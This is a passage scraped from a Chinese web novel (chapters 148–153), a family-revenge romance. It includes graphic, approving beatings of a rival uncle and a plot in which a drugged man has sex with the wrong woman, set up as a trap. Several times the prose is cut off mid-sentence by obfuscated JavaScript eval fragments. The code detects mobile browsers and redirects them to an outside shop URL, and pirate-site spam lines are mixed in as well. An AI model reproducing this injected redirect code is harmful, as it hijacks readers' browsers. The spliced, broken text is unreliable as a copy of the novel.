陆凛拖着几乎散架的身体冲出,循着记忆找到那间公寓门牌。 没有丝毫犹豫,他抬脚,用尽全身力气—— “砰!!!” 公寓门锁应声崩裂! 木屑飞溅! 客厅里灯光昏暗,暧昧不明。 空气中弥漫着一种甜腻的香薰气味,混杂着……男女情动时特有的气息。 陆凛的心脏在那一刹那停止了跳动。 视线越过狼藉的客厅,猛地钉在里间卧室那张凌乱的大床上—— 模糊的光线里,女人散乱的长发铺了满枕,侧着脸,看不清面容,只露出纤细白皙的脖颈和一小片光滑的肩头。 她身上覆着一个男人,正是霍寒山! 霍寒山似乎被破门的巨响惊动,动作僵住,茫然回头。 就是这一眼! 陆凛脑子里那根名为理智的弦,“铮”地一声,彻底断裂! “我操你妈!!!” 他如同地狱里爬出的修罗,嘶吼着冲过去,一把揪住霍寒山的头发,用上蛮力将他狠狠从床上拽了下来! 霍寒山猝不及防,重重摔在地板上,发出一声闷响。 他眼神涣散,脸上带着不正常的潮红,似乎还没完全清醒。 陆凛根本不给任何反应的机会,直接骑跨到他身上,拳头如同密集的雨点,带着骨骼碰撞的闷响,疯狂地砸向霍寒山的脸、头部、胸膛! “畜生!我杀了你!杀了你!!!” 每一拳都倾注了他所有的力量,所有的愤怒,所有撕心裂肺的痛楚! 霍寒山被药物控制,本就神志不清,此刻更是毫无还手之力,只能发出痛苦的闷哼,鼻血瞬间涌出,染红了陆凛的拳头和他自己的脸颊。 而床上的人似乎被这突如其来的暴力惊吓到,发出一声短促的惊呼,下意识地蜷缩起身体,拉过被子紧紧裹住自己,瑟瑟发抖。 陆凛眼角的余光瞥见这一幕,心脏像是被凌迟,痛得他几乎无法呼吸。 他打得更狠,更凶,仿佛要将身下这个毁了一切的畜生彻底撕碎! 眼见着身下的霍寒山完全没了还手之力,他这才松开他,强撑着身体朝大床走去。 “明嫣……”陆凛的声音破碎不堪,带着他自己都没察觉的颤抖和恐慌。 他伸出手,想碰碰她,又怕唐突,指尖在半空僵住,“别怕……我来了……没事了……” 第148章 求生不得,求死不能! 陆凛的嗓音颤抖得不成样子,眸底更是一片血红。 可女人似乎抖得更厉害了,把脸埋得更深,发出一声细弱的呜咽。 这声音…… 陆凛心头划过一丝极其微妙的异样感。 而就在这时,傅承平慢悠悠地踱步进来,脸上是毫不掩饰的得意。 他身后则是跟着几个保镖。 “去,赶紧把刚才拍的视频收好。” “是,傅先生!” 眼见着保镖将隐藏在各个位置的隐藏摄像头交给自己,傅承平嘴角咧开,几乎要笑出声。 有这个视频在手,傅修沉就算再硬气,也得掂量掂量。 然而,他嘴角的弧度还没完全扬起,一道低沉冷冽带着几分漫不经心的嗓音在他身后响起—— “二叔。” 那声音不高,却清晰地盖过了房间内所有的杂音。 “这么热闹的场面,怎么不提前通知我一声?” 傅承平脸上的笑容瞬间僵住,瞳孔骤然收缩,猛地回头! 只见公寓门口,光影交界处。 傅修沉就站在那里。 一身挺括的黑色西装,外面随意罩着同色系的长大衣,越发衬得身高腿长,气势逼人。 而那双深邃的眼眸更是锐利如寒星,眼尾那颗朱砂痣在昏暗光线下,红得惊心动魄。 他脸上没什么表情,目光平淡地扫过屋内的一片狼藉,最终落回傅承平脸上,微微勾了勾唇。 “看来,我来得正是时候。” 傅承平脸上的得意瞬间僵住,手脚一阵冰凉,一股寒意从脚底直窜头顶。 傅修沉他……他怎么找到这里的?! 但惊骇只持续了一瞬,傅承平迅速强自镇定下来。 怕什么? 视频在手,主动权在他! 他干笑两声,试图找回场子:“修沉?你怎么来了?也好,正好让你看看,你的好未婚妻,背着你都在做些什么……” 他刻意顿了顿,语气带着恶毒的挑衅,“跟旧情人旧情复燃,缠绵得很啊。” 他一边说,一边仔细观察着傅修沉的表情。 然而,傅修沉只是极轻地扯了下嘴角,那弧度冰冷得没有一丝人气。 他迈开步子,不疾不徐地朝傅承平走来。 皮鞋踩在光洁的地板上,发出清脆的“哒、哒”声响,在死寂的公寓里,如同催命的鼓点,敲在每个人的心上。 “旧情人?”傅修沉在傅承平面前一步之遥处停下,微微偏头,目光掠过大床上正压抑啜泣的女人。 他眼底的墨色更沉,几乎要滴出冰渣。 “看来,二叔是忘了,动我的人,需要付出什么代价。” 他的声音很轻,却带着一种令人毛骨悚然的平静。 傅承平被他这眼神看得心底发毛,但仗着有“把柄”在手,依旧硬着头皮:“代价?傅修沉,你看清楚形势!现在是你要求我!只要我把视频放出去,明嫣就毁了!你们傅家的脸也丢尽了!跃华的股价……” 他的话没能说完。 因为傅修沉动了。 傅承平甚至没看清他是如何出手的,只觉得腹部传来一阵撕裂般的剧痛,五脏六腑都仿佛移了位! “呃啊——!” 他惨叫一声,整个人如同断了线的风筝,被一脚踹得向后飞起,重重撞在身后的墙壁上,又软软地滑落在地,咳出一口血沫。 傅修沉一步步走近,居高临下地看着蜷缩在地上痛苦呻吟的傅承平,眼神如同在看一堆令人作呕的垃圾。 傅承平惊恐地抬头,对上他那双深不见底的黑眸,吓得魂飞魄散,手脚并用地向后爬:“你……你敢打我?!傅修沉!你就不怕我把视频……” “视频?”傅修沉嗤笑一声,打断他,那笑声冰冷刺骨,“你以为,我会给你机会?” 他抬脚,锃亮的黑色皮鞋,毫不留情地踩在傅承平的手上—— “咔嚓!” 令人牙酸的骨裂声清晰响起! “啊——!!!”傅承平发出杀猪般的嚎叫,整只手以不自然的姿势扭曲着,剧痛让他浑身痉挛,冷汗瞬间湿透了衣背。 傅修沉脚下用力碾了碾,仿佛踩着的不是一只手,而是一截枯枝。 他微微俯身,盯着傅承平因痛苦而扭曲的脸,声音低沉,却字字诛心: “动我,或许你还能留条活路。” “动她……” 他顿了顿,眼底掀起滔天巨浪,那是一种近乎毁灭的疯狂,“我让你,求生不得,求死不能。” 话音未落,他猛地抬脚,狠狠踹在傅承平的膝盖上! “咔嚓!”又是一声脆响! 傅承平的左腿以一个诡异的角度弯折过去,他连惨叫都发不出了,只能像条濒死的鱼一样张大嘴巴,发出嗬嗬的抽气声,白眼一翻,几乎要痛晕过去。 “这一下,是还你欠她之前流的眼泪。”傅修沉的声音冰冷得不带一丝波澜。 “这一下,是还你……敢对她下手。”又是一脚,踹在傅承平的肋下,肋骨断裂的声音令人头皮发麻。 傅承平像一滩烂泥瘫在地上,只有出的气没有进的气,鲜血从他身下蔓延开来,染红了浅色的地毯。 他看着如同煞神附体的傅修沉,终于感到了灭顶的恐惧。 “饶……饶了我……修沉……看在你……你爸的份上……他临死前……让你……照顾傅家……照顾我……”他断断续续地求饶,搬出了早已过世的大哥,试图唤起傅修沉最后一丝亲情。 傅修沉闻言,动作微微一顿,眼底掠过一丝极致的讥诮和冰冷。 “照顾你?”他重复着这三个字,像是听到了天大的笑话。 随即,他猛地俯身,揪住傅承平的衣领,将他上半身提离地面,唇角勾起一丝冷笑,“好啊,那我送你下去陪他!” 另一只手握拳,裹挟着雷霆万钧之势,狠狠砸向他的面门! “砰!” 鼻梁塌陷,鲜血四溅! 傅承平连惨叫都发不出,脑袋无力地垂向一边,意识彻底陷入混沌。 而与此同时,理智渐渐回笼的陆凛这才察觉出一丝不对劲儿…… 他眉头紧皱地看着面前始终不敢抬头的女人,想到方才她是嗓音…… 不。 其实不单单是声音。 还有傅修沉从踏进房间起,就没有往这边投来一丝目光…… 这太违背常理了! 他像是突然想到了什么,也顾不得什么避嫌,一把揪住那个正瑟瑟发抖地用被子紧紧裹住自己女人—— 灯光下,露出了那张布满泪痕的脸…… 第149章 陆凛,你越界了 不是明嫣! 竟然是——秦婉?! 陆凛的瞳孔骤然收缩,大脑“嗡”地一声,一片空白! 怎么会是她?! 几乎是在陆凛拽起秦婉的同一时间,傅承平也被那边的动静吸引了目光。 只是当他看清床上那个衣衫不整,哭得梨花带雨的女人,竟然是自己费尽心思想要认回傅家的女儿秦婉时,他的眼睛瞬间瞪得滚圆,眼球几乎要脱眶而出! 一股腥甜猛地涌上喉咙! “噗——!” 他猛地喷出一口鲜血,目眦欲裂,指着秦婉的方向,喉咙里发出“嗬嗬”的破风箱般的声音。 “婉……婉儿……你……你怎么会……”他话未说完,急火攻心之下,眼睛一翻,彻底晕死过去。 …… 死寂。 公寓里陷入一种诡异到极点的死寂。 只剩下秦婉压抑不住的带着后怕的哭声。 傅修沉冷漠地扫了一眼床上那不堪的一幕,又瞥向脚下如同死狗般的傅承平,眼底没有半分波澜。 他直起身,慢条斯理地整理了一下微微凌乱的袖口,仿佛刚才那场血腥的暴力与他无关。 而就在这时,他口袋里的手机震动起来。 扫了一眼来电显示,他挑了挑眉,唇角勾起一抹冰冷的弧度—— 老太太的消息倒是挺快…… 电话刚一接通,傅老夫人焦急的声音就传了出来,“修沉,你疯了!承平是你亲二叔!你怎么能下这么重的手!快放了他!有什么事回家再说!” 傅修沉听着电话那头祖母焦急的维护,脸上没有任何表情。 “放了他?不可能。” “你——你这个孽障!他是你亲二叔!是你爸唯一的弟弟!你敢动他,你让你爸在九泉之下怎么瞑目?!啊?!” 老太太的声音嘶哑,“为了个女人,你要把傅家搅得天翻地覆吗?!明嫣她就是个祸水!扫把星!没了她,傅家才能安宁!” 傅修沉握着手机,指尖无意识地收紧,手背青筋虬结,因用力而微微颤抖。 窗外夜色浓稠,将他挺拔的身影切割得愈发凌厉,像一柄出鞘即见血的利刃。 他侧脸的线条绷得极紧,下颌如刀削,眼睫低垂,遮住了眸底翻涌的潮气。 “奶奶,”他开口,声音不高,却带着一种淬了冰的平静,一字一句,砸在人心上,“您好像忘了,傅家现在,是我当家。” 他微微停顿,空气仿佛都因这短暂的静 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 默而凝固。 “大事,小事,”他扯了扯嘴角,“我说了算。” 电话那头,傅老夫人像是被扼住了喉咙,嗬嗬作响,却说不出完整的句子。 自从上次傅修沉被‘炸死’,傅老爷子便住了院,虽说后来傅修沉平安归来,可老爷子到底年事已高,精神头大不如前,现如今傅家的的确是傅修沉说了算。 傅修沉的目光掠过地上如同烂泥般蜷缩呻吟的傅承平,眼神没有一丝温度,如同在看一件亟待处理的废弃物。 “别说是我二叔,”他继续,声音低沉,“就算是您犯了错,我也会——” 他刻意放缓了语速,每个字都裹挟着令人胆寒的威慑。 “帮忙清理干净。” “你……你……”傅老夫人气得哆哆嗦嗦地说不出一个字来。 傅修沉抬脚,用鞋尖踢了踢地上昏迷不醒的傅承平,语气淡漠得如同在谈论一件无关紧要的杂物: “奶奶,”他对着手机,声音清晰而冰冷,“来收垃圾。” 说着,也没等傅老夫人说话,他已然抬手挂断了电话。 …… 傅修沉挂了电话,将手机随意揣回西裤口袋。 他眸色淡淡地扫过满屋狼藉,最后落在站在床边,一头金发凌乱,正死死盯着他的陆凛身上。 陆凛胸口剧烈起伏,额角开裂的伤口还在渗血,混合着汗水滑落,勾勒出他紧绷的下颌线。 “你早就知道?”陆凛的声音嘶哑得厉害,带着难以置信的质问,“你拿她当诱饵?!万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777644|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一……” 傅修沉眉头几不可察地皱了一下 “没有万一。”他开口打断,眸光终于落在他脸上,那眼神深得像寒潭,没什么波澜,却压得人喘不过气,“陆凛,你越界了。” “我越界?”陆凛气极反笑,扯到嘴角伤口,疼得他倒抽冷气,“对!我越界!我他妈就不该管你的破事!不该像个**一样冲进去!你多能耐啊,运筹帷幄,把自己女人护得滴水不漏,看着别人为你发疯很有意思?!” 傅修沉静静看着他,看着他金发凌乱,满脸血污,看着他眼底翻涌的愤怒和委屈。 半晌,他忽然伸手揪住了陆凛那件早已被扯得不成样子的机车夹克衣领,“闭嘴。” 他声音依旧没什么温度,动作却带着点粗鲁的拽扯,“一身血,脏**。” “跟回去处理一下。”语气依旧是硬的,但动作间,似乎刻意避开了陆凛身上看起来伤得最重的地方。 陆凛被他拽得一个踉跄,伤口被牵扯,痛得他倒吸一口凉气,却咬着牙没吭声。 他想挣脱,但那钳制着他的力道大得惊人,直接将他半拖半拽地拉出了公寓,塞进了停在外面的黑色宾利后座。 车子驶入那栋熟悉的江南顶级别墅时,夜已深。 别墅灯火通明。 车门打开,明嫣就站在玄关的灯光下。 她穿着柔软的米色家居服,头发松松挽着,脸上带着显而易见的焦急。 看到傅修沉下车,她眼神一亮,快步迎上来:“怎么样?事情办的顺利吗?你没事吧?” 她的目光在他身上迅速扫过,确认他完好,才稍稍松了口气。 随即,她看到了跟在后面狼狈不堪的陆凛。 陆凛那一头耀眼的金发此刻黯淡地耷拉着,脸上挂彩,额角的血痕凝固了,嘴角破裂肿起,颧骨一片青紫,身上的黑色夹克更是沾满了尘土和深色污渍,整个人像是刚从某个惨烈的斗殴现场被捞出来。 明嫣吓了一跳,心脏瞬间提到了嗓子眼,几乎是条件反射地看向傅修沉,“你打的?” “……” 第150章 陆凛死心(加更) 傅修沉先是一怔,随即失笑。 他伸手,指尖轻轻拂过她颊边,“老婆,这你可冤枉我了。” 他顿了顿,侧眸瞥了一眼陆凛,慢条斯理地补充,“我如果动手,他不可能还站在这儿。” 明嫣被他那句自然的“老婆”叫得耳根一热,没好气地瞪了他一眼,却也明白过来。 她不再多问,转身匆匆走向客厅,“我去拿医药箱。” 陆凛站在原地,看着他们之间自然而亲昵的互动,心脏像是被泡在柠檬汁里,又酸又涩。 他动了动嘴唇,想说什么,最终只是沉默地跟着走了进去。 明嫣提着医药箱过来,示意陆凛坐在沙发上。 她打开箱子,拿出消毒棉签和药水,动作熟练。 当她凑近,小心地替他清理额角的伤口时,陆凛能闻到她身上淡淡的香气,能感受到她指尖轻柔的触碰。 他身体僵硬,垂着眼,不敢看她,只觉得那一点点触碰都像火星,烫得他坐立难安。 “事情……办得怎么样了?”明嫣一边动作,一边轻声问傅修沉。 傅修沉脱下大衣,随手搭在沙发背上,自己在单人沙发坐下,“放心,跟之前预想的一样……” 他言简意赅,视线落在明嫣为陆凛处理伤口的手上,眸色微深,但没说什么。 陆凛听着他们这简短的对话,最后一丝侥幸也灭了。 他抬起眼,目光在明嫣平静的侧脸和傅修沉淡漠的神情间逡巡,哑声开口:“所以,从头到尾,都是你们计划好的?引小舅舅傅承平动手,抓他现行?” 明嫣蘸着药水的棉签微微一顿。 傅修沉抬眸,看向陆凛,没有否认:“上次**,唯一的证据药瓶毁了,车上动手脚的线索也被抹得干净。不动点非常手段,怎么让他们自己跳出来?” 他的语气平静无波,仿佛在说一件再寻常不过的事。 陆凛心头却猛地一紧。 药瓶…… 他想起订婚宴那天,在休息室外听到母亲和傅承平的对话。 那个被下在交杯酒里的药…… 动过手脚的车…… 线索被抹干净…… 一个可怕的念头窜入脑海,让他血液几乎倒流。 他动了动干裂的嘴唇,声音发颤,带着最后一点微弱的希望,看向傅修沉:“那……我妈……她……” 傅修沉沉默了几秒。 灯光下,他眼底情绪难辨,过了会儿,才淡淡道:“小姑是受 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 傅承平挑唆。 他顿了顿,语气里听不出什么情绪,“我查了购买记录,药是二叔提供的,想来主意也是他出的。小姑应该是被他当枪使了,只不过…… 他看向陆凛,嗓音低沉,“这种事情,理解是一回事,接不接受,又是另外一回事…… 陆凛闭上了眼睛。 是啊! 谁能接受试图毒害自己的人? 陆凛在心里惨笑。 可卑劣的又何止母亲。 他对明嫣那些说不出口的觊觎心思,又干净到哪里去? 而此时明嫣已经替他清理好额角的伤口,贴上纱布。 她能感觉到陆凛身体的紧绷,还以为他在为傅承惠的事情觉得难堪,她什么也没问,什么也没说。 等处理好伤口,她收拾好医药箱,轻声对傅修沉道:“我去给你们弄点吃的。 客厅里只剩下两个男人。 寂静弥漫开来,带着血腥气和药水味。 傅修沉看着像是被抽走了魂的陆凛,眉头几不可察地蹙了一下。 他起身,走到酒柜旁,倒了两杯威士忌。 琥珀色的液体在杯中晃动,折射出冰冷的光泽。 他走回来,将其中一杯放到陆凛面前的茶几上,发出清脆的磕碰声。 “喝了。傅修沉的声音依旧没什么温度,却少了几分之前的凌厉。 陆凛缓缓睁开眼,眼底一片血红。 他看着那杯酒,没动。 傅修沉自己抿了一口,辛辣的液体滑过喉咙。 他靠着沙发背,长腿交叠,目光落在虚空中的某一点。 “车子被动过手脚,刹车油管被细微割裂,平时看不出,紧急制动时才会彻底崩开。 他忽然开口,声音平静地叙述着,“**是意外,也是必然。割裂处遇到高速摩擦产生的火花,点燃了泄漏的油料。 陆凛猛地攥紧了拳头,指甲深陷进掌心。 “我跳车的时候,若是下面不是河……傅修沉继续道,语气里听不出后怕,只有一种事后的冷静,“也算我命大。 “药瓶是宋青州的人后来在河里找到的,泡了水,指纹模糊,成分也析变,做不了直接证据。 他侧过头,看向陆凛,话头一转,“其实小姑下毒那天,我就知道他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手,抹了把脸,触手一片湿冷,分不清是血,是汗,还是别的什么。 窗外,夜色浓稠如墨,仿佛要吞噬一切。 看来—— 他也该死心了…… 第151章 我娶她…… 而此时的公寓—— 霍寒山是在一阵剧烈的头痛中醒来的。 意识像是沉在浑浊的水底,好不容易挣扎着浮出水面,耳边却萦绕着女人低低的啜泣声。 那声音断断续续,像细针一样扎着他的耳膜。 明嫣? 是明嫣…… 他心头一紧,猛地睁开眼,偏头看向身侧。 床边,一个纤细的身影蜷缩着,背对着他,肩膀微微耸动,乌黑的长发凌乱地披散着,遮住了大半张脸,只露出一段白皙脆弱的脖颈,上面……隐约可见几点暧昧的红痕。 霍寒山的呼吸猛地一窒,瞳孔骤缩。 方才混乱而炽热的片段如同潮水般涌入脑海—— 他真的……真的对她…… 霍寒山的心脏像是被什么东西狠狠攥了一下,又酸又胀。 是心疼,也是某种卑劣的欣喜。 现在她彻底属于他了。 “嫣嫣,你别哭了,对不起…… 他俯身,从背后轻轻环住她颤抖的身体,将脸埋在她颈窝,嗅着她发间的香气,心底却只有失而复得的狂喜,“是我不好……别怕,我会负责的,嫣嫣,我一定会对你负责的…… 他感觉到怀里的身体僵硬了一瞬,哭声似乎更压抑了。 他只当她是羞愤难当,心中愈发怜惜,手臂收得更紧,一遍遍地在她耳边保证:“别哭了,好不好?看着我,嫣嫣……以后我们好好在一起,我再也不会让你受委屈,我发誓…… 他试图将她转过身来,想看清她的脸,想吻去她的泪水。 就在这时—— ‘砰’! 公寓的门被人从外面猛地推开,撞在墙上发出巨响! 霍寒山被这突如其来的动静惊得动作一顿,下意识抬头望去。 只见秦晓林踉跄着冲了进来,目光扫过凌乱的床铺,最后死死钉在他怀里那个蜷缩的身影上。 “妈…… 那张梨花带雨的脸,瞬间毫无遮挡地撞进霍寒山的视线里—— 不是明嫣! 是秦婉?! 霍寒山脸上的温柔和怜惜瞬间冻结,瞳孔骤然收缩成针尖大小! 他像是被一道惊雷直直劈中天灵盖,大脑“嗡地一声,一片空白! 怎么可能?! 怎么会是秦婉?! 方才…… 方才被他压在身下承受一切的……竟然是 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 秦婉?! 一股冰冷的寒意从脚底板瞬间窜遍全身,血液仿佛在这一刻彻底凝固! 他猛地松开手,像是碰到了什么极其肮脏的东西,身体不受控制地向后一仰,差点从床上栽下去! “怎么……怎么会是你?! 秦婉哭得更凶了,死死抱住冲过来的秦晓林,“妈!妈!我好怕……呜呜呜…… 秦晓林紧紧搂住女儿,目光如同淬了毒的刀子,狠狠剜向床上脸色惨白的霍寒山。 “霍寒山!她声音尖利,带着哭腔,“你这个畜生!你对我女儿做了什么?!啊?!婉儿她还是个孩子!你怎么能……你怎么能这么欺负她?! 霍寒山呆坐在床上,赤裸的上身暴露在空气中,起了一层鸡皮疙瘩。 他听着秦晓林的指控,看着秦婉那副仿佛受了天大委屈的模样,只觉得荒谬绝伦,胃里一阵翻江倒海。 “不……不是……他嘴唇哆嗦着,试图解释,却发现喉咙干涩得发不出声音,“我……我以为…… “你以为?!你以为是谁?! 秦晓林根本不给他说话的机会,声音拔得更高,“你毁了婉儿的清白是事实!你看看!你看看她身上的痕迹!霍寒山,你还是不是人?! 霍寒山的目光触及那些红痕,像是被烫到一样猛地闭上眼,心脏一阵剧烈的抽痛。 完了。 全完了。 他不仅没能挽回明嫣,还落入了这样一个恶心透顶的陷阱! “霍寒山!秦晓林见他这副模样,语气愈发咄咄逼人,“事到如今,你还有什么好说的?!你必须对婉儿负责!你必须娶她! “不!霍寒山猛地睁开眼,眼底布满了红血丝,嘶声拒绝,“不可能!我绝不会娶她! 让他娶秦婉? 绝无可能! “你不娶?!秦晓林像是被他的拒绝彻底激怒,猛地站起身,指着他的鼻子,“霍寒山!你忘了当年是谁救得你?你不要忘恩负义! 她的话像是一把生锈的钝刀,狠狠割开霍寒山尘封的记忆。 是了。 五年前,是秦晓林推开了他,才救了他一条命,因此在床上躺了整整五年。 这份恩情,他一直记着。 所以后来他连带着对秦婉多有容忍,甚至不惜为她伤害到了明嫣……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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秦婉也止住了啜泣,偷偷抬起泪眼。 可霍寒山没有看她们任何人。 他像一具被抽空了灵魂的傀儡,麻木地重复了一遍。 “我娶她。” 第152章 **锏! 而此时的医院里。 好不容易送走霍寒山,秦晓林和秦婉两人便连忙往医院赶去。 等两人到的时候,远远地就看见傅老夫人面色铁青地坐在走廊长椅上。 “老夫人……”秦晓林喉咙发干,下意识地把还在抽噎的秦婉往身后藏了藏。 傅老夫人眼皮都没抬,枯瘦的手指死死捻着腕间的佛珠,声音像是从牙缝里挤出来的:“哭什么哭?人还没死呢!” 秦婉被她吼得一哆嗦,哭声硬生生憋了回去,只剩下肩膀控制不住地轻颤。 秦晓林脸上火辣辣的,扯着女儿在旁边的空位坐下,心里七上八下。 她偷偷觑着傅老夫人那阴沉的侧脸,又想到病房里那个半死不活的傅承平,一股寒意从心底冒起。 傅修沉……他竟真敢下这样的死手! 时间在压抑的寂静中缓慢流逝。 不知过了多久,手术室的门终于开了。 主治医生摘下口罩,脸上带着疲惫,对着立刻站起身的傅老夫人恭敬道:“老夫人,傅先生已经脱离生命危险了。” 傅老夫人紧绷的肩膀几不可察地松了松。 但医生接下来的话,让她的脸色瞬间又沉了下去:“但是……傅先生身上多处骨头粉碎性骨折,尤其是左腿膝盖和右手,伤势非常严重。即使经过最好的治疗和康复,以后……行动上恐怕也会留下严重的后遗症,腿脚会很不方便。” “不方便?”傅老夫人声音拔高,带着难以置信的尖锐,“什么意思?难道我儿子以后要变成一个瘸子?!” 医生被她骇人的目光逼得抿了抿唇,到底还是继续道:“……走路需要借助拐杖,而且阴雨天可能会疼痛难忍。” “废物!都是废物!” 傅老夫人胸口剧烈起伏,猛地将手中的佛珠砸在地上,檀木珠子噼里啪啦滚了一地,“傅修沉!这个孽障!畜生!他怎么敢……怎么敢对自己的亲叔叔下这么重的手!他是要活活打死承平啊!怎么不下道雷劈死他!” 她气得浑身发抖,老泪纵横,身边的佣人连忙上前扶住她,低声劝慰。 秦晓林和秦婉更是吓得所在角落,大气不敢出。 就在这时,走廊另一端传来一阵脚步声。 众人下意识地抬头望去。 只见许婷婷穿着一身剪裁利落的珍珠白套装,臂弯挎着限量款手袋,在一众助理和律师的簇拥下,步履从容地走来。 她妆容精致,神色平静,通身散发着久居上位的贵气与疏离 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 ,与走廊里景象格格不入。 秦晓林下意识地拉扯了一下自己身上的衣服,心头涌上一股酸意。 切! 装什么装? 她如果能成为傅家二夫人,她也能有这通身的气派…… 她兀自酸着,可许婷婷却连眼角的余光都没给她一个,径直走到了傅老夫人面前。 而傅老夫人看到她,像是抓住了最后一根救命稻草,浑浊的老眼里闪过一丝光亮,“婷婷,你来了就好,我就知道你放不承平……” 她顿了顿,目光在许婷婷依旧窈窕的身段上扫过,带着长辈式的关切,“以后你好好保养保养身体,看看能不能再给承平生个孩子。一个女人,不生孩子,怎么能算是个完整的女人呢?听话,以后别再任性了。” 这话一出,连身后的律师都几不可察地皱了皱眉。 许婷婷静静听着,脸上没有任何波澜,直到傅老夫人说完,她才极轻地地笑了一声。 在傅老夫人错愕的目光中,许婷婷从身后律师手中接过一份文件,直接递到了傅老夫人面前。 “老夫人,”她开口,声音平静无波,却字字如刀,“这是离婚诉讼书,麻烦转告傅承平,我们法庭上见。” 傅老夫人的眼睛猛地瞪大,胸口剧烈起伏,手指颤抖地指着许婷婷,“你……你……” 你了半天都没说出完整的一句话。 许婷婷没管她气红的脸,语气淡漠:“相关事宜,我的律师会全权处理。” 说完,她甚至没有再多看傅老夫人一眼,转身离开。 只留傅老夫人气得站在原地破口大骂。 …… 几个小时后,病房里的傅承平这才悠悠转醒。 全身如同被拆散重组般的剧痛让他瞬间冷汗涔涔,忍不住发出一声痛苦的呻吟。 “承平!你醒了?”守在床边的傅老夫人立刻扑了过来,老泪纵横,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他那个好外甥。 以前倒是小瞧他了…… 第153章 老婆,求宠幸……(加更) 江南的冬日,难得放晴。 阳光透过巨大的落地窗,洒满别墅客厅,在地毯上投下暖融融的光斑。 傅修沉半靠在沙发上,膝上摊着几份跃华生物最新的财报,鼻梁上架着一副金丝平光镜,削弱了几分他眉眼间的锐利,添了些许居家的温雅。 明嫣盘腿坐在他旁边的地毯上,背靠着他小腿,面前矮几上堆满了案卷资料。 她正蹙眉研究一份复杂的跨境并购合同,指尖无意识地绕着垂落肩头的一缕发丝。 室内暖气足,她只穿了件柔软的米白色羊绒衫,领口微敞,露出一段纤细白皙的脖颈。 傅修沉的目光从枯燥的数字上移开,落在她颈后那片细腻的肌肤上,眸色微深。 他伸出手,指尖轻轻拂过她后颈。 “别闹,”她头也没回,拍开他作乱的手,“这份合同下午就要反馈。” 傅修沉摘了眼镜,随手搁在财报上,俯身从后面环住她,下巴抵在她发顶,声音带着一丝微哑:“休息会儿,你都一上午没看我了……” 他温热的气息拂过她耳廓,带来一阵细密的痒。 “这合同有我好看?” “……” 明嫣忍不住偏头躲了躲,耳根却悄悄漫上绯色。 他却像是得了趣,非但不松手,反而就着她坐在他怀里的姿势,手臂收紧,将她整个人圈住,薄唇蹭着她敏感的耳后肌肤,留下灼热的呼吸,“老婆,求宠幸……” “傅修沉!”明嫣瞬间炸毛,猛地转过身,羞恼地瞪他,水盈盈的眸子映着阳光,亮得惊人。 看着她绯红的脸颊和因羞恼而格外生动的眼睛,傅修沉眼底笑意更深。 他低头,在她微微张开的唇上轻啄了一下。 “嗯,我在。”他应得从善如流,仿佛刚才那个使坏的人不是他。 这个吻一触即分,却成功让明嫣忘了反驳,只剩下心跳如擂鼓。 阳光暖融融地笼罩着两人,空气中说不出的暧昧气息。 他看着她近在咫尺的脸,睫毛长而翘,鼻尖小巧,唇瓣因为刚才那个浅吻泛着水润的光泽。 喉结不自觉地滚动了一下。 他再次低头,这次不再是浅尝辄止,而是温柔地含住她的下唇,细细吮吻,舌尖耐心地描绘着她的唇形,诱哄着她开启齿关。 明嫣被他吻得有些晕眩,手不自觉攀上他宽阔的肩背,指尖触及他衬衫下紧实的肌肉线条。 意乱情迷间,她感觉到他滚烫的手掌已经从羊 听说看这本书的人都是很幸运的,分享后你的运气会更棒 绒衫的下摆探入带着薄茧的指腹在她腰侧细腻的皮肤上轻轻划着圈。 一阵战栗窜过脊背。 “别……”她含糊地**声音软得不像话“现在是白天……” “老祖宗都说过白日宣淫……”傅修沉他嗓音沙哑吻顺着她的唇角滑向颈侧在那里留下细密濡湿的痕迹。 明嫣:“……” 他这是哪儿来的歪理邪说! 而就在男人的吻顺着锁骨一路往下时—— “嗡……嗡……” 明嫣放在矮几上的手机不合时宜地震动起来。 暧昧的气氛瞬间被打破。 明嫣猛地清醒红着脸推开他一些气息不稳:“电……电话……” 傅修沉动作顿住额头抵着她的呼吸粗重深邃的眼底翻涌着未散的欲念像化不开的浓墨。 明嫣脸颊滚烫压根不敢跟他对视手忙脚乱地拿起手机看到来电显示连忙清了清嗓子接通。 “喂哥?” 电话那头传来明燃低沉的声音:“嗯。在哪儿?” “在……在家。” “傅修沉呢?” 明嫣下意识瞥了一眼身旁一副欲求不满的模样的男人脸颊更热了触电似得收回视线“他……也在。” “我下午回魔都。”明燃言简意赅“中午一起吃饭。” “啊?这么快就走?”明嫣有些意外。 